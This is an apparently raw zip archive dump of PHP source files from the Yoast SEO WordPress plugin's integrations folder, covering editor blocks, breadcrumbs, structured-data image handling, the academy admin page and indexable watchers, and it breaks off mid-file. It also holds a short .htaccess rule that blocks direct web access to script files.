﻿PK       ! )N+    #  blocks/block-editor-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin\Post_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Block_Editor_Integration class to enqueue the block editor assets also for the iframe.
 */
class Block_Editor_Integration implements Integration_Interface {

	/**
	 * Represents the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * {@inheritDoc}
	 *
	 * @return array<Post_Conditional>
	 */
	public static function get_conditionals() {
		return [ Post_Conditional::class ];
	}

	/**
	 * Constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $asset_manager ) {
		$this->asset_manager = $asset_manager;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'enqueue_block_assets', [ $this, 'enqueue' ] );
	}

	/**
	 * Enqueues the assets for the block editor.
	 *
	 * @return void
	 */
	public function enqueue() {
		$this->asset_manager->enqueue_style( 'block-editor' );
	}
}
PK       !     !  blocks/abstract-dynamic-block.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dynamic_Block class.
 */
abstract class Dynamic_Block implements Integration_Interface {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name;

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_block' ], 11 );
	}

	/**
	 * Registers the block.
	 *
	 * @return void
	 */
	public function register_block() {
		\register_block_type(
			'yoast-seo/' . $this->block_name,
			[
				'editor_script'   => $this->script,
				'render_callback' => [ $this, 'present' ],
				'attributes'      => [
					'className' => [
						'default' => '',
						'type'    => 'string',
					],
				],
			]
		);
	}

	/**
	 * Presents the block output. This is abstract because in the loop we need to be able to build the data for the
	 * presenter in the last moment.
	 *
	 * @param array $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	abstract public function present( $attributes );
}
PK       ! S.  S.  !  blocks/structured-data-blocks.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class to load assets required for structured data blocks.
 */
class Structured_Data_Blocks implements Integration_Interface {

	use No_Conditionals;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * An instance of the image helper class.
	 *
	 * @var Image_Helper
	 */
	protected $image_helper;

	/**
	 * The image caches per post.
	 *
	 * @var array
	 */
	protected $caches = [];

	/**
	 * The used cache keys per post.
	 *
	 * @var array
	 */
	protected $used_caches = [];

	/**
	 * Whether or not we've registered our shutdown function.
	 *
	 * @var bool
	 */
	protected $registered_shutdown_function = false;

	/**
	 * Structured_Data_Blocks constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 * @param Image_Helper              $image_helper  The image helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Image_Helper $image_helper
	) {
		$this->asset_manager = $asset_manager;
		$this->image_helper  = $image_helper;
	}

	/**
	 * Registers hooks for Structured Data Blocks with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		$this->register_blocks();
	}

	/**
	 * Registers the blocks.
	 *
	 * @return void
	 */
	public function register_blocks() {
		/**
		 * Filter: 'wpseo_enable_structured_data_blocks' - Allows disabling Yoast's schema blocks entirely.
		 *
		 * @param bool $enable If false, our structured data blocks won't show.
		 */
		if ( ! \apply_filters( 'wpseo_enable_structured_data_blocks', true ) ) {
			return;
		}

		\register_block_type(
			\WPSEO_PATH . 'blocks/structured-data-blocks/faq/block.json',
			[
				'render_callback' => [ $this, 'optimize_faq_images' ],
			]
		);
		\register_block_type(
			\WPSEO_PATH . 'blocks/structured-data-blocks/how-to/block.json',
			[
				'render_callback' => [ $this, 'optimize_how_to_images' ],
			]
		);
	}

	/**
	 * Optimizes images in the FAQ blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_faq_images( $attributes, $content ) {
		if ( ! isset( $attributes['questions'] ) ) {
			return $content;
		}

		return $this->optimize_images( $attributes['questions'], 'answer', $content );
	}

	/**
	 * Transforms the durations into a translated string containing the count, and either singular or plural unit.
	 * For example (in en-US): If 'days' is 1, it returns "1 day". If 'days' is 2, it returns "2 days".
	 * If a number value is 0, we don't output the string.
	 *
	 * @param number $days    Number of days.
	 * @param number $hours   Number of hours.
	 * @param number $minutes Number of minutes.
	 * @return array Array of pluralized durations.
	 */
	private function transform_duration_to_string( $days, $hours, $minutes ) {
		$strings = [];
		if ( $days ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of day/days. */
				\_n( '%d day', '%d days', $days, 'wordpress-seo' ),
				$days
			);
		}
		if ( $hours ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of hour/hours. */
				\_n( '%d hour', '%d hours', $hours, 'wordpress-seo' ),
				$hours
			);
		}
		if ( $minutes ) {
			$strings[] = \sprintf(
			/* translators: %d expands to the number of minute/minutes. */
				\_n( '%d minute', '%d minutes', $minutes, 'wordpress-seo' ),
				$minutes
			);
		}
		return $strings;
	}

	/**
	 * Formats the durations into a translated string.
	 *
	 * @param array $attributes The attributes.
	 * @return string The formatted duration.
	 */
	private function build_duration_string( $attributes ) {
		$days            = ( $attributes['days'] ?? 0 );
		$hours           = ( $attributes['hours'] ?? 0 );
		$minutes         = ( $attributes['minutes'] ?? 0 );
		$elements        = $this->transform_duration_to_string( $days, $hours, $minutes );
		$elements_length = \count( $elements );

		switch ( $elements_length ) {
			case 1:
				return $elements[0];
			case 2:
				return \sprintf(
				/* translators: %s expands to a unit of time (e.g. 1 day). */
					\__( '%1$s and %2$s', 'wordpress-seo' ),
					...$elements
				);
			case 3:
				return \sprintf(
				/* translators: %s expands to a unit of time (e.g. 1 day). */
					\__( '%1$s, %2$s and %3$s', 'wordpress-seo' ),
					...$elements
				);
			default:
				return '';
		}
	}

	/**
	 * Presents the duration text of the How-To block in the site language.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with the duration text in the site language.
	 */
	public function present_duration_text( $attributes, $content ) {
		$duration = $this->build_duration_string( $attributes );
		// 'Time needed:' is the default duration text that will be shown if a user doesn't add one.
		$duration_text = \__( 'Time needed:', 'wordpress-seo' );

		if ( isset( $attributes['durationText'] ) && $attributes['durationText'] !== '' ) {
			$duration_text = $attributes['durationText'];
		}

		return \preg_replace(
			'/(<p class="schema-how-to-total-time">)(<span class="schema-how-to-duration-time-text">.*<\/span>)(.[^\/p>]*)(<\/p>)/',
			'<p class="schema-how-to-total-time"><span class="schema-how-to-duration-time-text">' . $duration_text . '&nbsp;</span>' . $duration . '</p>',
			$content,
			1
		);
	}

	/**
	 * Optimizes images in the How-To blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_how_to_images( $attributes, $content ) {
		if ( ! isset( $attributes['steps'] ) ) {
			return $content;
		}

		$content = $this->present_duration_text( $attributes, $content );

		return $this->optimize_images( $attributes['steps'], 'text', $content );
	}

	/**
	 * Optimizes images in structured data blocks.
	 *
	 * @param array  $elements The list of elements from the block attributes.
	 * @param string $key      The key in the data to iterate over.
	 * @param string $content  The content.
	 *
	 * @return string The content with images optimized.
	 */
	private function optimize_images( $elements, $key, $content ) {
		global $post;
		if ( ! $post ) {
			return $content;
		}

		$this->add_images_from_attributes_to_used_cache( $post->ID, $elements, $key );

		// Then replace all images with optimized versions in the content.
		$content = \preg_replace_callback(
			'/<img[^>]+>/',
			function ( $matches ) {
				\preg_match( '/src="([^"]+)"/', $matches[0], $src_matches );
				if ( ! $src_matches || ! isset( $src_matches[1] ) ) {
					return $matches[0];
				}
				$attachment_id = $this->attachment_src_to_id( $src_matches[1] );
				if ( $attachment_id === 0 ) {
					return $matches[0];
				}
				$image_size  = 'full';
				$image_style = [ 'style' => 'max-width: 100%; height: auto;' ];
				\preg_match( '/style="[^"]*width:\s*(\d+)px[^"]*"/', $matches[0], $style_matches );
				if ( $style_matches && isset( $style_matches[1] ) ) {
					$width     = (int) $style_matches[1];
					$meta_data = \wp_get_attachment_metadata( $attachment_id );
					if ( isset( $meta_data['height'] ) && isset( $meta_data['width'] ) && $meta_data['height'] > 0 && $meta_data['width'] > 0 ) {
						$aspect_ratio = ( $meta_data['height'] / $meta_data['width'] );
						$height       = ( $width * $aspect_ratio );
						$image_size   = [ $width, $height ];
					}
					$image_style = '';
				}

				/**
				 * Filter: 'wpseo_structured_data_blocks_image_size' - Allows adjusting the image size in structured data blocks.
				 *
				 * @since 18.2
				 *
				 * @param string|int[] $image_size     The image size. Accepts any registered image size name, or an array of width and height values in pixels (in that order).
				 * @param int          $attachment_id  The id of the attachment.
				 * @param string       $attachment_src The attachment src.
				 */
				$image_size = \apply_filters(
					'wpseo_structured_data_blocks_image_size',
					$image_size,
					$attachment_id,
					$src_matches[1]
				);
				$image_html = \wp_get_attachment_image(
					$attachment_id,
					$image_size,
					false,
					$image_style
				);

				if ( empty( $image_html ) ) {
					return $matches[0];
				}

				return $image_html;
			},
			$content
		);

		if ( ! $this->registered_shutdown_function ) {
			\register_shutdown_function( [ $this, 'maybe_save_used_caches' ] );
			$this->registered_shutdown_function = true;
		}

		return $content;
	}

	/**
	 * If the caches of structured data block images have been changed, saves them.
	 *
	 * @return void
	 */
	public function maybe_save_used_caches() {
		foreach ( $this->used_caches as $post_id => $used_cache ) {
			if ( isset( $this->caches[ $post_id ] ) && $used_cache === $this->caches[ $post_id ] ) {
				continue;
			}
			\update_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', $used_cache );
		}
	}

	/**
	 * Converts an attachment src to an attachment ID.
	 *
	 * @param string $src The attachment src.
	 *
	 * @return int The attachment ID. 0 if none was found.
	 */
	private function attachment_src_to_id( $src ) {
		global $post;

		if ( isset( $this->used_caches[ $post->ID ][ $src ] ) ) {
			return $this->used_caches[ $post->ID ][ $src ];
		}

		$cache = $this->get_cache_for_post( $post->ID );
		if ( isset( $cache[ $src ] ) ) {
			$this->used_caches[ $post->ID ][ $src ] = $cache[ $src ];
			return $cache[ $src ];
		}

		$this->used_caches[ $post->ID ][ $src ] = $this->image_helper->get_attachment_by_url( $src );
		return $this->used_caches[ $post->ID ][ $src ];
	}

	/**
	 * Returns the cache from postmeta for a given post.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return array The images cache.
	 */
	private function get_cache_for_post( $post_id ) {
		if ( isset( $this->caches[ $post_id ] ) ) {
			return $this->caches[ $post_id ];
		}

		$cache = \get_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', true );
		if ( ! $cache ) {
			$cache = [];
		}

		$this->caches[ $post_id ] = $cache;
		return $cache;
	}

	/**
	 * Adds any images that have their ID in the block attributes to the cache.
	 *
	 * @param int    $post_id  The post ID.
	 * @param array  $elements The elements.
	 * @param string $key      The key in the elements we should loop over.
	 *
	 * @return void
	 */
	private function add_images_from_attributes_to_used_cache( $post_id, $elements, $key ) {
		// First grab all image IDs from the attributes.
		$images = [];
		foreach ( $elements as $element ) {
			if ( ! isset( $element[ $key ] ) ) {
				continue;
			}
			if ( isset( $element[ $key ] ) && \is_array( $element[ $key ] ) ) {
				foreach ( $element[ $key ] as $part ) {
					if ( ! \is_array( $part ) || ! isset( $part['type'] ) || $part['type'] !== 'img' ) {
						continue;
					}

					if ( ! isset( $part['key'] ) || ! isset( $part['props']['src'] ) ) {
						continue;
					}

					$images[ $part['props']['src'] ] = (int) $part['key'];
				}
			}
		}

		if ( isset( $this->used_caches[ $post_id ] ) ) {
			$this->used_caches[ $post_id ] = \array_merge( $this->used_caches[ $post_id ], $images );
		}
		else {
			$this->used_caches[ $post_id ] = $images;
		}
	}

	/* DEPRECATED METHODS */

	/**
	 * Enqueue Gutenberg block assets for backend editor.
	 *
	 * @deprecated 22.7
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function enqueue_block_editor_assets() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.7' );
	}
}
PK       ! |cZ  Z    blocks/block-categories.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Internal_Linking_Category block class.
 */
class Internal_Linking_Category implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'block_categories_all', [ $this, 'add_block_categories' ] );
	}

	/**
	 * Adds Yoast block categories.
	 *
	 * @param array $categories The categories.
	 * @return array The filtered categories.
	 */
	public function add_block_categories( $categories ) {
		$categories[] = [
			'slug'  => 'yoast-structured-data-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Structured Data Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];
		$categories[] = [
			'slug'  => 'yoast-internal-linking-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Internal Linking Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];

		return $categories;
	}
}
PK       ! C1:      blocks/breadcrumbs-block.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Siblings block class
 */
class Breadcrumbs_Block extends Dynamic_Block_V3 {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name = 'breadcrumbs';

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script = 'yoast-seo-dynamic-blocks';

	/**
	 * The Meta_Tags_Context_Memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The Replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * Siblings_Block constructor.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The context.
	 * @param WPSEO_Replace_Vars         $replace_vars         The replace variable helper.
	 * @param Helpers_Surface            $helpers              The Helpers surface.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		WPSEO_Replace_Vars $replace_vars,
		Helpers_Surface $helpers,
		Indexable_Repository $indexable_repository
	) {
		$this->context_memoizer     = $context_memoizer;
		$this->replace_vars         = $replace_vars;
		$this->helpers              = $helpers;
		$this->indexable_repository = $indexable_repository;

		$this->base_path = \WPSEO_PATH . 'blocks/dynamic-blocks/';
	}

	/**
	 * Presents the breadcrumbs output for the current page or the available post_id.
	 *
	 * @param array<string, bool|string|int|array> $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	public function present( $attributes ) {
		$presenter = new Breadcrumbs_Presenter();
		// $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the
		// editor, we need the repository.
		if ( \wp_is_serving_rest_request() || \is_admin() ) {
			$post_id = \get_the_ID();
			if ( $post_id ) {
				$indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );

				if ( ! $indexable ) {
					$post      = \get_post( $post_id );
					$indexable = $this->indexable_repository->query()->create(
						[
							'object_id'        => $post_id,
							'object_type'      => 'post',
							'object_sub_type'  => $post->post_type,
						]
					);
				}

				$context = $this->context_memoizer->get( $indexable, 'Post_Type' );
			}
		}
		if ( ! isset( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;
		$class_name              = 'yoast-breadcrumbs';

		if ( ! empty( $attributes['className'] ) ) {
			$class_name .= ' ' . \esc_attr( $attributes['className'] );
		}

		return '<div class="' . $class_name . '">' . $presenter->present() . '</div>';
	}
}
PK       ! ./D<
  <
  $  blocks/abstract-dynamic-block-v3.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dynamic_Block class.
 */
abstract class Dynamic_Block_V3 implements Integration_Interface {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name;

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script;

	/**
	 * The base path for the block.
	 *
	 * @var string
	 */
	protected $base_path;

	/**
	 *  Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Initializes the integration.
	 *
	 * Integrations hooking on `init` need to have a priority of 11 or higher to
	 * ensure that they run, as priority 10 is used by the loader to load the integrations.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_block' ], 11 );
	}

	/**
	 * Registers the block.
	 *
	 * @return void
	 */
	public function register_block() {
		\register_block_type(
			$this->base_path . $this->block_name . '/block.json',
			[
				'editor_script'   => $this->script,
				'render_callback' => [ $this, 'present' ],
			]
		);
	}

	/**
	 * Presents the block output. This is abstract because in the loop we need to be able to build the data for the
	 * presenter in the last moment.
	 *
	 * @param array<string, bool|string|int|array> $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	abstract public function present( $attributes );

	/**
	 * Checks whether the links in the block should have target="blank".
	 *
	 * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
	 * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
	 *
	 * @return bool returns if the block should be opened in another window.
	 */
	protected function should_link_target_blank(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
			if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
				return true;
			}
		}
		return false;
	}
}
PK       ! )        blocks/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! 6_,      academy-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;

/**
 * Class Academy_Integration.
 */
class Academy_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_academy';

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager       The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper            $product_helper      The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper    The Short_Link_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper
	) {
		$this->asset_manager       = $asset_manager;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
		$this->shortlink_helper    = $shortlink_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			3,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Academy', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-academy"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'academy' );
		$this->asset_manager->enqueue_style( 'academy' );
		$this->asset_manager->localize_script( 'academy', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	public function get_script_data() {
		$addon_manager = new WPSEO_Addon_Manager();

		$woocommerce_seo_active = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );
		$local_seo_active       = $addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );

		return [
			'preferences' => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isWooActive'    => $woocommerce_seo_active,
				'isLocalActive'  => $local_seo_active,
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'  => $this->shortlink_helper->get_query_params(),
		];
	}
}
PK       ! T.mW  W    estimated-reading-time.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional;

/**
 * Estimated reading time class.
 */
class Estimated_Reading_Time implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Estimated_Reading_Time_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_metabox_entries_general', [ $this, 'add_estimated_reading_time_hidden_fields' ] );
	}

	/**
	 * Adds an estimated-reading-time hidden field.
	 *
	 * @param array $field_defs The $fields_defs.
	 *
	 * @return array
	 */
	public function add_estimated_reading_time_hidden_fields( $field_defs ) {
		if ( \is_array( $field_defs ) ) {
			$field_defs['estimated-reading-time-minutes'] = [
				'type'  => 'hidden',
				'title' => 'estimated-reading-time-minutes',
			];
		}

		return $field_defs;
	}
}
PK       ! UU*  *     exclude-attachment-post-type.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional;

/**
 * Excludes Attachment post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Attachment_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Attachment_Redirections_Enabled_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'attachment' ];
	}
}
PK       ! >      uninstall-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Class to manage the integration with the WP uninstall flow.
 */
class Uninstall_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'uninstall_' . \WPSEO_BASENAME, [ $this, 'wpseo_uninstall' ] );
	}

	/**
	 * Performs all necessary actions that should happen upon plugin uninstall.
	 *
	 * @return void
	 */
	public function wpseo_uninstall() {
		$this->clear_import_statuses();
	}

	/**
	 * Clears the persistent import statuses.
	 *
	 * @return void
	 */
	public function clear_import_statuses() {
		$yoast_options = \get_site_option( 'wpseo' );

		if ( isset( $yoast_options['importing_completed'] ) ) {
			$yoast_options['importing_completed'] = [];

			\update_site_option( 'wpseo', $yoast_options );
		}
	}
}
PK       ! "
  
  *  watchers/indexable-system-page-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_System_Page_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Search result watcher to save the meta data to an Indexable.
 *
 * Watches the search result options to save the meta information when updated.
 */
class Indexable_System_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_System_Page_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 * @param Indexable_Builder    $builder    The post builder to use.
	 */
	public function __construct( Indexable_Repository $repository, Indexable_Builder $builder ) {
		$this->repository = $repository;
		$this->builder    = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		foreach ( Indexable_System_Page_Builder::OPTION_MAPPING as $type => $options ) {
			foreach ( $options as $option ) {
				// If both values aren't set they haven't changed.
				if ( ! isset( $old_value[ $option ] ) && ! isset( $new_value[ $option ] ) ) {
					return;
				}

				// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
				if (
					! isset( $old_value[ $option ] )
					|| ! isset( $new_value[ $option ] )
					|| $old_value[ $option ] !== $new_value[ $option ]
				) {
					$this->build_indexable( $type );
				}
			}
		}
	}

	/**
	 * Saves the search result.
	 *
	 * @param string $type The type of no index page.
	 *
	 * @return void
	 */
	public function build_indexable( $type ) {
		$indexable = $this->repository->find_for_system_page( $type, false );
		$this->builder->build_for_system_page( $type, $indexable );
	}
}
PK       !     /  watchers/search-engines-discouraged-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Search_Engines_Discouraged_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have access for robots disabled.
 */
class Search_Engines_Discouraged_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-search-engines-discouraged';

	/**
	 * The Yoast notification center.
	 *
